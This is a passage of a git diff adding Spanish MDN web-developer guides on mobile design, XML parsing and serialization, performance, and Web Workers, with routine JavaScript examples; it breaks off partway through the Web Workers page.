+ <dd class="landingPageList">Esta página proporciona una visión general de algunas de las principales técnicas necesarias para el diseño de sitios web que funcionen en dispositivos móviles. Si estás buscando información sobre el proyecto Firefox OS de Mozilla, mira la web <a href="https://developer.mozilla.org/en/Mozilla/Firefox_OS" title="Boot to Gecko">Firefox OS</a>.  O puede que te interesen los detalles de <a href="https://developer.mozilla.org/en/Mozilla/Firefox_for_Android" title="Firefox for Android">Firefox para Android.</a></dd>
+</dl>
+
+<dl>
+</dl>
+</div>
+
+<div class="section">
+<dl>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/Apps/Progressive#Core_PWA_guides">Progressive Web Apps (PWA)</a></dt>
+ <dd class="landingPageList">Las aplicaciones web progresivas usan APIs Web modernas junto con mejoras progresivas estratégicas para crear aplicaciones multi-plataforma. Estas aplicaciones funcionan donde sea y proporcionan muchas características que brindan la misma experiencia de usuario que una aplicación nativa. Este conjunto de documentos y guías te indican sobre todo lo que debes saber de las PWAs.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/es/docs/Web/Guide/Performance">Optimización y Rendimiento</a></dt>
+ <dd class="landingPageList">Cuando creamos modernas Web apps y páginas web, es importante hacer que tu contenido rinda bien. Eso es, hacer que funcione de forma rápida y eficiente. Esto permite trabajar de forma más efectiva tanto a los usuarios de potentes equipos de sobremesa como a los que utilizan dispositivos portátiles con menos potencia.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/Parsing_and_serializing_XML">Mapeo y Serialización XML</a></dt>
+ <dd class="landingPageList">La Plataforma Web provee los diferentes métodos de parseo y serialización, cada uno con sus pros y contras.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/SVG-in-OpenType">SVG-in-OpenType</a></dt>
+ <dd class="landingPageList">El SVG-in-OpenType está actualmente en manos del  <a class="external external-icon" href="http://mpeg.chiariglione.org/">MPEG group</a>. Una vez listos para una más amplia adopción de información desde <a class="external external-icon" href="https://wiki.mozilla.org/SVGOpenTypeFonts">wiki.mozilla.org</a> nos trasladaremos aquí, actualizados y expandidos.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/WOFF">El Web Open Font Format (WOFF)</a></dt>
+ <dd class="landingPageList"><strong>WOFF</strong> ( <strong>Web Open Font Format</strong>) es un formato de tipografías para páginas web desarrollado por Mozilla en conjunto con Type Supply, LettError y otras organizaciones.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/Using_FormData_Objects">Utilizar FormData Objects</a></dt>
+ <dd class="landingPageList"><a href="https://developer.mozilla.org/en/DOM/XMLHttpRequest/FormData" title="en/DOM/XMLHttpRequest/FormData"><code>FormData</code></a>  te permite compilar un conjunto de pares clave/valor para enviarlos utilizando XMLHttpRequest. En un principio se pensó como manera de enviar información de formularios, pero puede utilizarse independientemente de los formularios para transmitir datos. La información trasmitida está en el mismo formato que se utiliza mediante el método <code>submit()</code> de los formularios para enviarla si el tipo de codificación del formulario fuese "multipart/form-data".</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/es/docs/Glossary">Glosario</a></dt>
+ <dd class="landingPageList">Define gran cantidad de términos técnicos relativos a las páginas Web e Internet.</dd>
+</dl>
+</div>
+</div>
+</div>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Reference" title="/en-US/docs/Web/Reference">Referencia para el desarrollador Web</a></li>
+</ul>
diff --git a/files/es/web/guide/movil/index.html b/files/es/web/guide/movil/index.html
new file mode 100644
index 0000000000..684d3df672
--- /dev/null
+++ b/files/es/web/guide/movil/index.html
@@ -0,0 +1,75 @@
+---
+title: Desarrollo Web Móvil
+slug: Web/Guide/Movil
+tags:
+  - Intermedio
+  - NecesitaEjemplo
+translation_of: Web/Guide/Mobile
+---
+<p>Esta página proporciona una visión general de algunas de las principales técnicas necesarias para diseñar sitios web que funcionen bien en dispositivos móviles. Si está buscando información sobre el proyecto Firefox OS de Mozilla, consulte la página de <a href="/en/Mozilla/Firefox_OS" title="Boot to Gecko">Firefox OS</a>. O podría estar interesado en detalles sobre <a href="/en/Mozilla/Firefox_for_Android" title="Firefox for Android">Firefox para Android</a>.</p>
+
+<p>Hemos organizado esta documentación en dos secciones, <a href="#DisenandoParaDispositivosMoviles">diseñando para dispositivos móviles</a> y <a href="#DesarrolloParaDiferentesNavegadores">desarrollo para diferentes navegadores</a>. Vea también la guía a la <a href="/en-US/docs/Web_Development/Mobile/Mobile-friendliness" title="/en-US/docs/Web_Development/Mobile/Mobile-friendliness">amigabilidad móvil</a> para desarrolladores web de Jason Grlicky.</p>
+
+<h2 id="Diseñando_para_dispositivos_móviles"><a id="DisenandoParaDispositivosMoviles" name="DisenandoParaDispositivosMoviles"></a>Diseñando para dispositivos móviles</h2>
+
+<p>Los dispositivos móviles tienen características de hardware bastante diferentes comparados con los ordenadores de escritorio/sobremesa o portátiles. Obviamente sus pantallas son usualmente más pequeñas, pero además habitualmente también cambian automáticamente su orientación, entre retrato o paisaje, según el usuario rota el dispositivo. Por lo general tienen pantallas táctiles para la entrada de datos por parte del usuario. APIs como la geolocalización o la orientación, o bien no son soportadas en ordenadores de escritorio o son mucho menos útiles, y estas APIs ofrecen a los usuarios móviles nuevas formas de interactuar con su sitio web.</p>
+
+<h3 id="Trabajando_con_pantallas_pequeñas">Trabajando con pantallas pequeñas</h3>
+
+<p><a href="https://developer.mozilla.org/es/docs/Desarrollo_Web/Web_adaptable" title="en/Web_Development/Responsive_Web_design">Diseño web adaptable</a> es un término para un conjunto de técnicas que permiten a su sitio web adaptar su diseño según el entorno de visualización — lo más evidente, el tamaño y orientación de la pantalla — cambie. Incluye técnicas como:</p>
+
+<ul>
+ <li>diseño CSS fluido, para hacer que la página se adapte sin problemas según cambie el tamaño de la ventana del navegador y</li>
+ <li>el uso de <a href="https://developer.mozilla.org/es/docs/CSS/Media_queries" title="en/CSS/Media_queries">media queries</a> para incluir condicionalmente reglas CSS adecuadas para el <a href="https://developer.mozilla.org/es/docs/CSS/Media_queries#width" title="en/CSS/Media_queries#width">ancho</a> y <a href="https://developer.mozilla.org/es/docs/CSS/Media_queries#height" title="en/CSS/Media_queries#height">alto</a> de la pantalla.</li>
+</ul>
+
+<p>La <a href="https://developer.mozilla.org/es/docs/M%C3%B3vil/Viewport_meta_tag" title="en/Mobile/Viewport_meta_tag">etiqueta meta viewport</a> ordena al navegador que muestre su sitio web a la escala adecuada para el dispositivo del usuario.</p>
+
+<h3 id="Trabajando_con_pantallas_táctiles">Trabajando con pantallas táctiles</h3>
+
+<p>Para usar una pantalla táctil necesitará trabajar con eventos <a href="https://developer.mozilla.org/es/docs/DOM/Touch_events" title="en/DOM/Touch_events">DOM Touch</a>. No tendrá la posibilidad de usar la pseudo-clase <a href="https://developer.mozilla.org/es/docs/Web/CSS/%3Ahover" title="En/CSS/:hover">CSS :hover</a> y tendrá que diseñar elementos interactivos como botones para respetar el hecho de que los dedos son más gordos que el puntero del ratón. Vea este artículo sobre <a class="external" href="http://www.whatcreative.co.uk/blog/tips/designing-for-touch-screen/">diseñar para pantallas táctiles</a>.</p>
+
+<p>Puede usar el <em>media query</em> <a href="https://developer.mozilla.org/es/docs/CSS/Media_queries#-moz-touch-enabled" title="en/CSS/Media_queries#-moz-touch-enabled">-moz-touch-enabled</a> para cargar una CSS diferente en un dispositivo con pantalla táctil.</p>
+
+<h3 id="Optimizando_imágenes">Optimizando imágenes</h3>
+
+<p>Para ayudar a los usuarios cuyos dispositivos tienen un bajo o caro ancho de banda, puede optimizar las imágenes cargando sólo aquellas apropiadas para el tamaño y resolución del dispositivo. Es algo que se hace en la CSS consultando la <a href="https://developer.mozilla.org/es/docs/CSS/Media_queries#height" title="en/CSS/Media_queries#height">altura</a> de pantalla, <a href="https://developer.mozilla.org/es/docs/CSS/Media_queries#width" title="en/CSS/Media_queries#width">anchura</a> y <a href="https://developer.mozilla.org/es/docs/CSS/Media_queries#-moz-device-pixel-ratio" title="en/CSS/Media_queries#-moz-device-pixel-ratio">proporción de píxeles</a>.</p>
+
+<p>También puede hacer uso de propiedades CSS para implementar efectos visuales como <a href="https://developer.mozilla.org/es/docs/CSS/Using_CSS_gradients" title="en/CSS/Using_CSS_gradients">gradientes</a> y <a href="https://developer.mozilla.org/es/docs/Web/CSS/box-shadow" title="En/CSS/Box-shadow">sombras</a> sin utilizar imágenes para ello.</p>
+
+<h3 id="APIs_móviles">APIs móviles</h3>
+
+<p>Finalmente, puede aprovechar las nuevas posibilidades ofrecidas por los dispositivos móviles, como la <a href="https://developer.mozilla.org/es/docs/Web/API/Detecting_device_orientation" title="en/Detecting_device_orientation">orientación</a> y la <a href="https://developer.mozilla.org/es/docs/WebAPI/Using_geolocation" title="En/Using_geolocation">geolocalización</a>.</p>
+
+<h2 id="Desarrollo_para_diferentes_navegadores"><a id="DesarrolloParaDiferentesNavegadores" name="DesarrolloParaDiferentesNavegadores"></a>Desarrollo para diferentes navegadores</h2>
+
+<h3 id="Escribir_código_para_diferentes_navegadores_(cross-browser)">Escribir código para diferentes navegadores (<em>cross-browser</em>)</h3>
+
+<p>Para crear sitios web que funcionen aceptablemente en diferentes navegadores móviles:</p>
+
+<ul>
+ <li>Intente evitar características específicas de un navegador, como las propiedades CSS prefijadas por el proveedor (<em>vendor-prefixed</em>).</li>
+ <li>Si necesita utilizar estas características, compruebe si otros navegadores implementan sus propias versiones e inclúyalas igualmente.</li>
+ <li>Para navegadores que no soportan estas características, ofrezca una alternativa aceptable.</li>
+</ul>
+
+<p>Por ejemplo, si establece un gradiente como fondo para cierto texto usando una propiedad prefijada por el proveedor (<em>vendor-prefixed</em>) como <code>-webkit-linear-gradient</code>, es mejor incluir las otras versiones prefijadas de la propiedad <a href="https://developer.mozilla.org/es/docs/Web/CSS/linear-gradient" title="en/CSS/linear-gradient">linear-gradient</a> (gradiente linear). Si no lo hace, asegúrese al menos de que el fondo por defecto contrasta con el texto. Así, la página será al menos usable en un navegador al que no esté dirigida su regla <code>linear-gradient</code>.</p>
+
+<p>Vea esta <a href="https://developer.mozilla.org/es/docs/Web/CSS/Referencia_CSS/Extensiones_CSS_Mozilla" title="en/CSS/CSS_Reference/Mozilla_Extensions">lista de propiedades específicas para Gecko</a>, esta lista de <a href="/en/CSS/CSS_Reference/Webkit_Extensions" title="en/CSS/CSS_Reference/Webkit_Extensions">propiedades específicas para WebKit</a> y la <a class="external" href="http://peter.sh/experiments/vendor-prefixed-css-property-overview/">tabla de propiedades específicas de proveedores (<em>vendor-specific</em>)</a> de Peter Beverloo.</p>
+
+<p>Usar herramientas como <a class="external" href="http://csslint.net/">CSS Lint</a> puede ayudar a encontrar problemas como este en el código y preprocesadores como <a class="external" href="http://sass-lang.com/">SASS</a> y <a class="external" href="http://lesscss.org/">LESS</a> pueden ser de ayuda para crear código compatible con diferentes navegadores.</p>
+
+<h3 id="Precaución_al_husmear_el_agente_de_usuario_(user_agent)">Precaución al husmear el agente de usuario (<em>user agent</em>)</h3>
+
+<p>Es preferible para los sitios web usar las técnicas enumeradas anteriormente con el objetivo de detectar características específicas del dispositivo, como el tamaño de pantalla y las pantallas táctiles, y adaptarse a ellas adecuadamente. Pero a veces esto no es práctico y los sitios web recurren a analizar la cadena de agente de usuario del navegador (<em>user agent</em>) para intentar distinguir entre ordenadores de escritorio, tabletas y teléfonos, y servir diferente contenido a cada tipo de dispositivo.</p>
+
+<p>Si hace esto, asegúrese de que su algoritmo es correcto y no está sirviendo el tipo equivocado de contenido a un dispositivo porque no entiende la cadena de un agente de usuario particular. Vea esta <a href="/en/Browser_detection_using_the_user_agent#Mobile.2C_Tablet_or_Desktop" title="browser detection using the user agent">guía para usar la cadena de agente de usuario para determinar el tipo de dispositivo</a>.</p>
+
+<h3 id="Probar_en_múltiples_navegadores">Probar en múltiples navegadores</h3>
+
+<p>Compruebe su sitio web en múltiples navegadores. Esto significa probarlo en múltiples plataformas — al menos iOS y Android.</p>
+
+<ul>
+ <li>Pruebe Safari móvil en iPhone usando el <a class="link-https" href="https://developer.apple.com/devcenter/ios/index.action">simulador iOS</a>.</li>
+ <li>Pruebe Opera y Firefox utilizando el <a class="link-https" href="https://developer.android.com/sdk/index.html">Android SDK</a>. Vea estas instrucciones adicionales para <a class="link-https" href="https://wiki.mozilla.org/Mobile/Fennec/Android/Emulator">ejecutar Firefox para Android usando el emulador de Android</a>.</li>
+</ul>
diff --git a/files/es/web/guide/parsing_and_serializing_xml/index.html b/files/es/web/guide/parsing_and_serializing_xml/index.html
new file mode 100644
index 0000000000..faff8bfbe4
--- /dev/null
+++ b/files/es/web/guide/parsing_and_serializing_xml/index.html
@@ -0,0 +1,133 @@
+---
+title: >-
+  Convertir código a cadena de texto (serializing) y visceversa (parsing) a un 
+  XML
+slug: Web/Guide/Parsing_and_serializing_XML
+translation_of: Web/Guide/Parsing_and_serializing_XML
+---
+<p>La plataforma web proveé Los siguientes objetos para hacer parsing (convertir una cadena de texto a código) y serializing (visceversa) a un XML:</p>
+
+<ul>
+ <li><a href="/en/XMLSerializer" title="en/XMLSerializer">XMLSerializer</a> para convertir a tipo string el  arbol del DOM</li>
+ <li><a class="internal" href="/en/XPath" title="en/XPath">XPath</a> para apuntar  a diferentes partes de un documento<strong> <a href="/en/XML" rel="internal" title="en/XML">XML</a> ( sin seguir la sintaxis XML)  y convertirlas a string.</strong></li>
+ <li><a href="/en/DOM/DOMParser" title="en/DOMParser">DOMParser</a> para convertir a XML desde un tipo string (texto)<strong> dentro del árbol del DOM </strong></li>
+ <li><a href="/en/nsIXMLHttpRequest" title="en/XMLHttpRequest">XMLHttpRequest</a> para convertit recursos URL direccionables <strong>en arboles del DOM </strong></li>
+</ul>
+
+<h2 id="Parte_1_Como_crear_un_documento_XML">Parte 1: Como crear un documento XML </h2>
+
+<p>Usar una de la siguientes opciones para crear un documento XML  (el cual es una instancia de <code>Document</code>).</p>
+
+<h3 id="Codificando_textos_al_árbol_del_DOM">Codificando textos al árbol del DOM</h3>
+
+<div style="overflow: hidden;">
+<pre class="brush: js">var miTexto = '&lt;a id="a"&gt;&lt;b id="b"&gt;Hey!&lt;/b&gt;&lt;/a&gt;';
+var codigo = new DOMParser();
+var oDOM = codigo.parseFromString(miTexto, "text/xml");
+// Imprimir el nombre del elemento raiz o un mensaje de error
+dump(oDOM.documentElement.nodeName == "parsererror" ? "error mientras se codificaba" : oDOM.documentElement.nodeName);
+</pre>
+</div>
+
+<h3 id="Creando_un_documento_XML_empezando_desde_un_árbol_de_Objetos_JavaScript_(JXON)">Creando un documento XML empezando desde un árbol de Objetos JavaScript (JXON)</h3>
+
+<p>Por favor vea JXON<a class="internal" href="/en/JXON#Reverse_Algorithms" title="en/JXON – Reverse Algorithms"> algoritmos </a>de reversa.</p>
+
+<h3 id="Codificando_rexursos_de_URL_direccionables_en_árboles_del_DOM">Codificando rexursos de URL direccionables en árboles del DOM</h3>
+
+<h4 id="Usando_XMLHttpRequest">Usando XMLHttpRequest</h4>
+
+<p>Aquí hay un código de ejemplo que lee y codifica un archivo XML con  URL direccionable en un árbol del DOM:</p>
+
+<pre class="brush: js">var xhr = new XMLHttpRequest();
+xhr.onload = function() {
+  dump(xhr.responseXML.documentElement.nodeName);
+}
+xhr.onerror = function() {
+  dump("Error mientras se tomaba el XML.");
+}
+xhr.open("GET", "example.xml");
+xhr.responseType = "document";
+xhr.send();
+</pre>
+
+<p><code>xhr.responseXML</code> es una instancia de {{domxref("Document")}}.</p>
+
+<h2 id="Parte_2_Como_serializar_el_contenido_de_un_documento_XML">Parte 2: Como serializar el contenido de un documento XML</h2>
+
+<p>Use the following approaches to serialize the contents of the XML document you created in Part 1.</p>
+
+<h3 id="Serializing_DOM_trees_to_strings">Serializing DOM trees to strings</h3>
+
+<p>First, create a DOM tree as described in <a href="/en/How_to_create_a_DOM_tree" title="en/How_to_create_a_DOM_tree">How to Create a DOM tree</a>. Alternatively, use a DOM tree obtained from {{ domxref("XMLHttpRequest") }}.</p>
+
+<p>Now, let's serialize <code>doc</code> — the DOM tree — to a string:</p>
+
+<pre class="brush: js">var oSerializer = new XMLSerializer();
+var sXML = oSerializer.serializeToString(doc);</pre>
+
+<p>The <code>new XMLSerializer()</code> constructor is not available from within a JS XPCOM component (or a <a class="internal" href="/en/JavaScript_code_modules" title="En/JavaScript modules">JS module</a>). Instead, write:</p>
+
+<pre class="brush: js">var oSerializer = Components.classes["@mozilla.org/xmlextras/xmlserializer;1"]
+                            .createInstance(Components.interfaces.nsIDOMSerializer);
+var sXML = oSerializer.serializeToString(doc);
+</pre>
+
+<h4 id="Pretty_serialization_of_DOM_trees_to_strings">"Pretty" serialization of DOM trees to strings</h4>
+
+<p>You can <a class="external" href="http://en.wikipedia.org/wiki/Pretty-print">pretty print</a> a DOM tree using <a href="/en/XMLSerializer" title="XMLSerializer"><code>XMLSerializer</code></a> and <a href="/en/E4X" title="en/E4X">E4X</a>. First, create a DOM tree as described in the <a href="/en/How_to_create_a_DOM_tree" title="en/How_to_create_a_DOM_tree">How to Create a DOM tree</a> article. Alternatively, use a DOM tree obtained from {{ domxref("XMLHttpRequest") }}. The <code>doc</code> variable contains the DOM tree.</p>
+
+<pre class="brush: js">var oSerializer = new XMLSerializer();
+var sPrettyXML = XML(oSerializer.serializeToString(doc)).toXMLString();</pre>
+
+<p>Indents consist of two spaces. To write a more efficient version or customize the indent string, use {{ domxref("treeWalker") }}.</p>
+
+<div class="note"><strong>Note:</strong> When using the E4X <code>toXMLString</code> method, your <strong>CDATA elements will be lost</strong>, and only the containing text will remain. So if you have CDATA elements in your XML, <span style="background-color: #f5f6f5;">using the preceding method might not be useful</span>.</div>
+
+<pre class="brush: xml">&lt;content&gt;&lt;![CDATA[This is the content]]&gt;&lt;/content&gt;
+</pre>
+
+<p>Becomes</p>
+
+<pre class="brush: xml">&lt;content&gt;This is the content&lt;/content&gt;</pre>
+
+<h3 id="Serializing_DOM_trees_to_Javascript_Object_trees_(JXON)">Serializing DOM trees to Javascript Object trees (JXON)</h3>
+
+<p><a href="/en/JXON" title="en/JXON">JXON</a> (lossless <strong>J</strong>avaScript <strong>X</strong>ML <strong>O</strong>bject <strong>N</strong>otation) is a way to represent JavaScript Objects using XML. To address only parts of an XML document, use <a class="internal" href="/en/XPath" title="en/XPath">XPath</a> instead of converting the whole document into JSON! Otherwise, read the <a class="internal" href="/en/JXON" title="en/JXON">article about JXON</a>.</p>
+
+<h3 id="Serializing_DOM_trees_to_files">Serializing DOM trees to files</h3>
+
+<p>First, create a DOM tree as described in the <a href="/en/How_to_create_a_DOM_tree" title="en/How_to_create_a_DOM_tree">How to Create a DOM tree</a> article. If you already have a DOM tree from using {{ domxref("XMLHttpRequest") }}, skip to the end of this section.</p>
+
+<p>Now, let's serialize <code>doc</code>, the DOM tree, to a file. For more information about files, see <a href="/en/Code_snippets/File_I//O" title="en/Code_snippets/File_I//O">about using files in Mozilla</a>):</p>
+
+<pre class="brush: js">var oFOStream = Components.classes["@mozilla.org/network/file-output-stream;1"].createInstance(Components.interfaces.nsIFileOutputStream);
+var oFile = Components.classes["@mozilla.org/file/directory_service;1"].getService(Components.interfaces.nsIProperties).get("ProfD", Components.interfaces.nsILocalFile); // get profile folder
+oFile.append("extensions"); // extensions sub-directory
+oFile.append("{5872365E-67D1-4AFD-9480-FD293BEBD20D}"); // GUID of your extension
+oFile.append("myXMLFile.xml"); // filename
+oFOStream.init(oFile, 0x02 | 0x08 | 0x20, 0664, 0); // write, create, truncate
+(new XMLSerializer()).serializeToStream(doc, oFOStream, ""); // rememeber, doc is the DOM tree
+oFOStream.close();
+</pre>
+
+<h3 id="Serializing_XMLHttpRequest_objects_to_files">Serializing XMLHttpRequest objects to files</h3>
+
+<p>If you already have a DOM tree from using {{ domxref("XMLHttpRequest") }}, use the same code as above but replace <code>serializer.serializeToStream(doc, oFOStream, "")</code> with <code>serializer.serializeToStream(xmlHttpRequest.responseXML.documentElement, oFOStream, "")</code> where <code>xmlHttpRequest</code> is an instance of <code>XMLHttpRequest</code>.</p>
+
+<p>Note that this first parses the XML retrieved from the server, and then re-serializes it into a stream. Depending on your needs, you could just save the <code>xmlHttpRequest.responseText</code> directly.</p>
+
+<h3 id="Serializing_HTML_documents">Serializing HTML documents</h3>
+
+<p>If the DOM you have is an HTML document, you can serialize it simply using</p>
+
+<pre class="brush: js">var serialized = document.documentElement.innerHTML;
+</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a class="internal" href="/en/XPath" title="en/XPath">XPath</a></li>
+ <li><a href="/en/nsIXMLHttpRequest" title="en/XMLHttpRequest">XMLHttpRequest</a></li>
+ <li><a href="/en/JXON" title="en/JXON">JXO</a></li>
+</ul>
diff --git a/files/es/web/guide/performance/index.html b/files/es/web/guide/performance/index.html
new file mode 100644
index 0000000000..dca2ce95b5
--- /dev/null
+++ b/files/es/web/guide/performance/index.html
@@ -0,0 +1,12 @@
+---
+title: Optimización y rendimiento
+slug: Web/Guide/Performance
+tags:
+  - Optimizacion
+  - Rendimiento
+  - Web
+translation_of: Web/Guide/Performance
+---
+<p>Cuando se construyen aplicaciones o sitios Web modernos, es importante hacer que su contenido funcione bien. Es decir,  hacer que trabaje de forma rápida y eficiente. Esto permite que funcione eficazmente tanto para usuarios de potentes sistemas de escritorio así como para dispositivos móviles con menos potencia.</p>
+
+<p>{{LandingPageListSubpages}}</p>
diff --git a/files/es/web/guide/performance/usando_web_workers/index.html b/files/es/web/guide/performance/usando_web_workers/index.html
new file mode 100644
index 0000000000..db4dbc07e3
--- /dev/null
+++ b/files/es/web/guide/performance/usando_web_workers/index.html
@@ -0,0 +1,633 @@
+---
+title: Usando Web Workers
+slug: Web/Guide/Performance/Usando_web_workers
+translation_of: Web/API/Web_Workers_API/Using_web_workers
+---
+<p><span class="seoSummary">Los Web Workers dedicados proveen un medio sencillo para que el contenido web ejecute scripts en hilos en segundo plano. Una vez creado, un worker puede enviar mensajes a la tarea creada mediante envio de mensajes al manejador de eventos especificado por el creador.</span> Sin embargo, <strong>los workers trabajan dentro de un <a href="https://developer.mozilla.org/en-US/docs/JavaScript/DedicatedWorkerGlobalScope">contexto global</a> diferente de la ventana actual</strong> (usar el atajo <span style="line-height: 1.5;"> {{ domxref("window") }} en lugar de </span><span style="line-height: 1.5;">{{ domxref("window.self","self") }} con el fin de obtener el scope actual dentro de un </span><span style="line-height: 1.5;">{{ domxref("Worker") }} retornaría, de hecho, un error).</span></p>
+
+<p>El hilo worker puede realizar tareas sin interferir con la interfaz de usuario. Ademas, pueden realizar I/O usando <code style="font-size: 14px;"><a class="internal" href="/en/nsIXMLHttpRequest" title="En/XMLHttpRequest">XMLHttpRequest</a></code><span style="line-height: 1.5;"> (aunque el responseXML y los atributos channel son siempre null).</span></p>
+
+<p><span style="line-height: 1.5;">Para documentacion de referencia acerca de workers busca </span><span style="line-height: 1.5;">{{ domxref("Worker") }} ; este articulo complementa ese ofreciendo ejemplos y detalles adicionales. Para una lista de las funciones disponibles sobre workers, visita </span><span style="line-height: 1.5;"> </span><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/Needs_categorization/Functions_available_to_workers?redirect=no" style="line-height: 1.5;" title="En/DOM/Worker/Functions available to workers">Functions and interfaces available to workers</a><span style="line-height: 1.5;">.</span></p>
+
+<h2 id="Acerca_de_seguridad_de_hilos" style="line-height: 22.79199981689453px;">Acerca de seguridad de hilos</h2>
+
+<p>La interfaz <span style="line-height: 1.5;"> {{ domxref("Worker") }} crea hilos a nivel de SO reales, y la concurrencia puede causar effectos interesantes en tu código si no eres cuidadoso. Sin embargo, en el caso de los web workers, el control cuidadoso de los puntos de comunicacion con otros hilos indica que es realmente muy dificil causar problemas de concurrencia. No existe acceso a componentes no-hilo seguros o al DOM y debes pasar la informacion entrante o saliente del hilo a traves de objetos serializados. Así que debes poner esfuerzo para causar problemas en tu código.</span></p>
+
+<p><strong style="">Creando un web worker</strong></p>
+
+<p>Crear un nuevo worker es simple.  Sólo tienes que llamar el constructor {{ domxref("Worker.Worker", "Worker()") }}, especificando la URI de un script a ejecutar en el hilo del worker (<em>worker thread</em>), y, si deseas poder recibir notificaciones del worker, establece la propiedad  {{domxref("Worker.onmessage")}} del worker a una función de manejo de eventos apropiada.</p>
+
+<div style="overflow: hidden;">
+<pre class="brush: js notranslate">var myWorker = new Worker("my_task.js");
+
+myWorker.onmessage = function (oEvent) {
+  console.log("Called back by the worker!\n");
+};</pre>
+</div>
+
+<p>Alternativamente, puedes usar <code>addEventListener()</code> :</p>
+
+<div style="overflow: hidden;">
+<pre class="brush: js notranslate">var myWorker = new Worker("my_task.js");
+
+myWorker.addEventListener("message", function (oEvent) {
+  console.log("Called back by the worker!\n");
+}, false);
+
+myWorker.postMessage(""); // start the worker.</pre>
+</div>
+
+<p>La Línea 1 en  este ejemplo crea un nuevo worker (<em>worker thread)</em>. La Línea 3 configura un manejador de eventos (<em>listener</em>) para encargarse de los eventos <code>message</code> del worker. Este manejador de eventos se llamará cuando el worker llame a su propia función {{domxref("Worker.postMessage()")}}. Finalmente, la Linea 7 inicia el worker <em>(worker thread)</em>.</p>
+
+<div class="note"><strong>Nota</strong> : La URI pasada como parámetro del constructor de <code>Worker</code> debe obedecer la política <a href="/en/Same_origin_policy_for_JavaScript" title="Same origin policy for JavaScript">same-origin policy</a> . Actualmente hay desacuerdo entre los desarolladores de navegadores sobre qué URIs son del mismo origen; Gecko 10.0 {{ geckoRelease("10.0") }} y posteriores sí permiten data URIs e Internet Explorer 10 no permite Blob URIs como un script válido para los workers.</div>
+
+<h2 id="Pasando_datos">Pasando datos</h2>
+
+<p>Los datos pasan entre la página principal y los workers son <strong>copiados</strong>, no compartidos. Los objetos se serializan a medida que se entregan al worker, y posteriormente, se deserializan en el otro extremo. La página y el worker <strong>no comparten la misma instancia</strong>, por lo que el resultado final es que un duplicado es creado en cada extremo. La mayoría de los navegadores implementan esta característica como <a href="/en/DOM/The_structured_clone_algorithm" title="The structured clone algorithm">structured cloning</a>.</p>
+
+<p>Antes de continuar, vamos a crear con fines didácticos una función llamada <code>emulateMessage()</code> que simulará el comportamiento de un valor el cual es clonado y no compartido durante el paso desde un <em>worker </em>a la página principal o viceversa:</p>
+
+<pre class="brush: js notranslate">function emulateMessage (vVal) {
+    return eval("(" + JSON.stringify(vVal) + ")");
+}
+
+// Tests
+
+// test #1
+var example1 = new Number(3);
+alert(typeof example1); // object
+alert(typeof emulateMessage(example1)); // number
+
+// test #2
+var example2 = true;
+alert(typeof example2); // boolean
+alert(typeof emulateMessage(example2)); // boolean
+
+// test #3
+var example3 = new String("Hello World");
+alert(typeof example3); // object
+alert(typeof emulateMessage(example3)); // string
+
+// test #4
+var example4 = {
+    "name": "John Smith",
+    "age": 43
+};
+alert(typeof example4); // object
+alert(typeof emulateMessage(example4)); // object
+
+// test #5
+function Animal (sType, nAge) {
+    this.type = sType;
+    this.age = nAge;
+}
+var example5 = new Animal("Cat", 3);
+alert(example5.constructor); // Animal
+alert(emulateMessage(example5).constructor); // Object</pre>
+
+<p>A Un valor que es clonado y no compartido se denomina <em>mensaje</em>. De vuelta con los workers, los <em>mensajes</em> pueden ser enviados hacia y desde el hilo principal empleando <code>postMessage()</code>. Los eventos de <code>mensaje</code> {{domxref("MessageEvent.data", "data")}} atributo contienen datos devueltos desde el worker.</p>
+
+<p><strong>example.html</strong>: (la página principal):</p>
+
+<pre class="brush: js notranslate">var myWorker = new Worker("my_task.js");
+
+myWorker.onmessage = function (oEvent) {
+  console.log("Worker said : " + oEvent.data);
+};
+
+myWorker.postMessage("ali");</pre>
+
+<p><strong>my_task.js</strong> (el worker):</p>
+
+<pre class="brush: js notranslate">postMessage("I\'m working before postMessage(\'ali\').");
+
+onmessage = function (oEvent) {
+  postMessage("Hi " + oEvent.data);
+};</pre>
+
+<div class="note"><strong>Note:</strong> Como siempre, los hilos en segundo plano -incluyendo workers- <strong>no pueden manipular el DOM</strong>. Si acciones tomadas por el hilo en segundo planos resultarían en cambios en el DOM, deberian enviar mensajes a sus creadores para llevarlos a cabo.</div>
+
+<p>The <a href="/en-US/docs/Web/Guide/DOM/The_structured_clone_algorithm" style="line-height: 1.572;" title="The structured clone algorithm">structured cloning</a> algorithm can accept JSON and a few things that JSON can't like circular references.</p>
+
+<h3 id="Ejemplos_pasando_datos">Ejemplos pasando datos</h3>
+
+<h4 id="Example_1_Crear_un_eval_asíncrono_genérico">Example #1: Crear un "<code>eval() asíncrono</code>" genérico</h4>
+
+<p>El siguiente ejemplo muestra como usar un worker para ejecutar <strong>asíncronamente</strong> cualquier tipo de código en Javascript a traves de <a href="/en-US/docs/JavaScript/Reference/Global_Objects/eval" title="/en-US/docs/JavaScript/Reference/Global_Objects/eval"><code>eval</code></a> dentro del worker:</p>
+
+<pre class="brush: js notranslate">// Syntax: asyncEval(code[, listener])
+
+var asyncEval = (function () {
+
+  var aListeners = [], oParser = new Worker("data:text/javascript;charset=US-ASCII,onmessage%20%3D%20function%20%28oEvent%29%20%7B%0A%09postMessage%28%7B%0A%09%09%22id%22%3A%20oEvent.data.id%2C%0A%09%09%22evaluated%22%3A%20eval%28oEvent.data.code%29%0A%09%7D%29%3B%0A%7D");
+
+  oParser.onmessage = function (oEvent) {
+    if (aListeners[oEvent.data.id]) { aListeners[oEvent.data.id](oEvent.data.evaluated); }
+    delete aListeners[oEvent.data.id];
+  };
+
+
+  return function (sCode, fListener) {
+    aListeners.push(fListener || null);
+    oParser.postMessage({
+      "id": aListeners.length - 1,
+      "code": sCode
+    });
+  };
+
+})();</pre>
+
+<p>Ejemplo de uso:</p>
